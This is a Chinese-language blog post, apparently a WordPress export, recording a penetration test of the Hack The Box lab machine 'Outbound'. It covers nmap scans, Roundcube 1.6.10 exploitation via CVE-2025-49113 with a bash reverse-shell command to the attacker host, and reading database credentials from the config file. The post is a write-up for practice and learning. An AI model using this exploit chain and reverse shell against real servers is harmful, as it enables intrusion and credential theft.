{"id":318,"date":"2025-07-19T11:16:39","date_gmt":"2025-07-19T03:16:39","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=318"},"modified":"2026-01-29T16:18:33","modified_gmt":"2026-01-29T08:18:33","slug":"318","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/07\/19\/318\/","title":{"rendered":"HTB\u9776\u673a Outbound \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
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\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.129.103.139<\/strong><\/code>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p>\n

\u63d0\u4f9b\u51ed\u636e\uff1atyler \/ LhKL1o9Nm3X2<\/code><\/strong><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
PING 10.129.103.139 (10.129.103.139) 56(84) bytes of data.\n64 bytes from 10.129.103.139: icmp_seq=1 ttl=63 time=284 ms\n64 bytes from 10.129.103.139: icmp_seq=2 ttl=63 time=282 ms\n64 bytes from 10.129.103.139: icmp_seq=3 ttl=63 time=296 ms\n64 bytes from 10.129.103.139: icmp_seq=4 ttl=63 time=268 ms\n\n--- 10.129.103.139 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 268.047\/282.326\/295.807\/9.859 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u901a\u4fe1\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.95 scan initiated Sun Jul 13 07:19:12 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.103.139\nWarning: 10.129.103.139 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.103.139\nHost is up (0.21s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE         SERVICE\n22\/tcp open|filtered ssh\n80\/tcp open|filtered http\n\n# Nmap done at Sun Jul 13 07:19:46 2025 -- 1 IP address (1 host up) scanned in 33.76 seconds<\/code><\/pre>\n
\u9776\u673a\u7591\u4f3c\u5f00\u653e\u4e8622\/ssh<\/code>\u548c80\/http<\/code>\u4e24\u4e2a\u7aef\u53e3\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/strong><\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Jul 13 07:24:38 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.103.139\nWarning: 10.129.103.139 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.103.139\nHost is up (0.23s latency).\nNot shown: 64557 closed tcp ports (conn-refused), 976 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)\n|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)\n80\/tcp open  http    nginx 1.24.0 (Ubuntu)\n|_http-server-header: nginx\/1.24.0 (Ubuntu)\n|_http-title: Did not follow redirect to http:\/\/mail.outbound.htb\/\nDevice type: general purpose|router\nRunning: Linux 4.X|5.X, MikroTik RouterOS 7.X\nOS CPE: cpe:\/o:linux:linux_kernel:4 cpe:\/o:linux:linux_kernel:5 cpe:\/o:mikrotik:routeros:7 cpe:\/o:linux:linux_kernel:5.6.3\nOS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   241.37 ms 10.10.14.1\n2   241.54 ms 10.129.103.139\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Jul 13 07:25:30 2025 -- 1 IP address (1 host up) scanned in 52.45 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Jul 13 07:26:28 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.103.139\nWarning: 10.129.103.139 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.103.139\nHost is up (0.21s latency).\nAll 65535 scanned ports on 10.129.103.139 are in ignored states.\nNot shown: 65290 open|filtered udp ports (no-response), 245 closed udp ports (port-unreach)\n\n# Nmap done at Sun Jul 13 07:30:30 2025 -- 1 IP address (1 host up) scanned in 241.67 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aUbuntu Linux<\/code>\uff0c\u5f00\u542f\u4e86SSH<\/code>\u548cNginx HTTP<\/code>\u670d\u52a1\uff0c\u4e3b\u57df\u540d\u4e3aoutbound.htb<\/code>\uff0c\u5b58\u5728Web<\/code>\u865a\u62df\u4e3b\u673a\u540dmail<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u5c1d\u8bd5\u4f7f\u7528ssh<\/code>\u8fde\u63a5\u9776\u673a\uff0c\u53d1\u73b0\u9776\u673aSSH<\/code>\u670d\u52a1\u5141\u8bb8\u4f7f\u7528\u5bc6\u94a5\u548c\u5bc6\u7801\u767b\u5f55\uff1a<\/p>\n
\"\"<\/p>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/mail.outbound.htb\/<\/code><\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u8be5Web<\/code>\u670d\u52a1\u90e8\u7f72\u4e86Roundcube Webmail<\/code>\u5728\u7ebf\u90ae\u4ef6\u6536\u53d1\u7cfb\u7edf\u3002\u5c1d\u8bd5\u4f7f\u7528\u9898\u76ee\u63d0\u4f9b\u7684\u51ed\u636e\u767b\u5f55\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0Roundcube<\/code>\u7248\u672c\u4e3av1.6.10<\/code>\uff0c\u5c1d\u8bd5\u8054\u7f51\u67e5\u627e\u5df2\u77e5\u6f0f\u6d1e\uff0c\u6210\u529f\u53d1\u73b0\u5b58\u5728\u6388\u6743\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u7f16\u53f7\u4e3aCVE-2025-49113<\/code>\uff1aGitHub - hakaioffsec\/CVE-2025-49113-exploit: Proof of Concept demonstrating Remote Code Execution through insecure deserialization in Roundcube (CVE-2025-49113).<\/a><\/p>\n
\"\"<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
Roundcube RCE\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u5728Web<\/code>\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u6210\u529f\u53d1\u73b0\u9776\u673aHTTP<\/code>\u670d\u52a1\u90e8\u7f72\u4e86Roundcube Webmail<\/code>\u90ae\u4ef6\u7cfb\u7edf\uff0c\u7248\u672c\u4e3av1.6.10<\/code>\uff0c\u5b58\u5728\u6388\u6743\u547d\u4ee4\u6267\u884c\u6f0f\u6d1eCVE-2025-49113<\/code>\uff0c\u73b0\u5728\u8fdb\u884c\u5229\u7528\u3002<\/p>\n
\u9996\u5148\uff0c\u4f7f\u7528git clone<\/code>\u4e0b\u8f7dEXP<\/code>\u4ee3\u7801\uff1a<\/p>\n
git clone https:\/\/github.com\/hakaioffsec\/CVE-2025-49113-exploit.git<\/code><\/pre>\n
\u968f\u540e\u5728\u672c\u5730\u542f\u52a8netcat<\/code>\u76d1\u542c\uff0c\u7aef\u53e3\u4e3a443<\/code>\uff1a<\/p>\n
rlwrap nc -l -p 443 -s 10.10.14.2<\/code><\/pre>\n
\u6700\u540e\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u53cd\u5f39Shell<\/code>\uff1a<\/p>\n
php .\/CVE-2025-49113-exploit\/CVE-2025-49113.php http:\/\/mail.outbound.htb tyler \"LhKL1o9Nm3X2\" \"\/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.14.2\/443 0>&1'\"<\/code><\/pre>\n
\"\"<\/p>\n
\u53cd\u5f39Shell\u6210\u529f\uff01\uff01<\/strong><\/p>\n
\n
\u6743\u9650\u63d0\u5347<\/h1>\n
\u76ee\u5f55\u4fe1\u606f\u6536\u96c6<\/h2>\n
\u8fdb\u5165\u9776\u673a\u540e\uff0c\u6267\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u3002\u9996\u5148\uff0c\u5728Web<\/code>\u5e94\u7528\u76ee\u5f55\/var\/www\/html\/roundcube\/config\/<\/code>\u5185\u627e\u5230\u4e09\u4efdRoundcube<\/code>\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n
ls -lA \/var\/www\/html\/roundcube\/config\/<\/code><\/pre>\n
\"\"<\/p>\n
\u9996\u5148\u67e5\u770bconfig.inc.php<\/code>\u6587\u4ef6\uff0c\u6210\u529f\u53d1\u73b0\u4e86MySQL<\/code>\u8fde\u63a5\u51ed\u636e\uff1a<\/p>\n
$config['db_dsnw'] = 'mysql:\/\/roundcube:RCDBPass2025@localhost\/roundcube';<\/code><\/pre>\n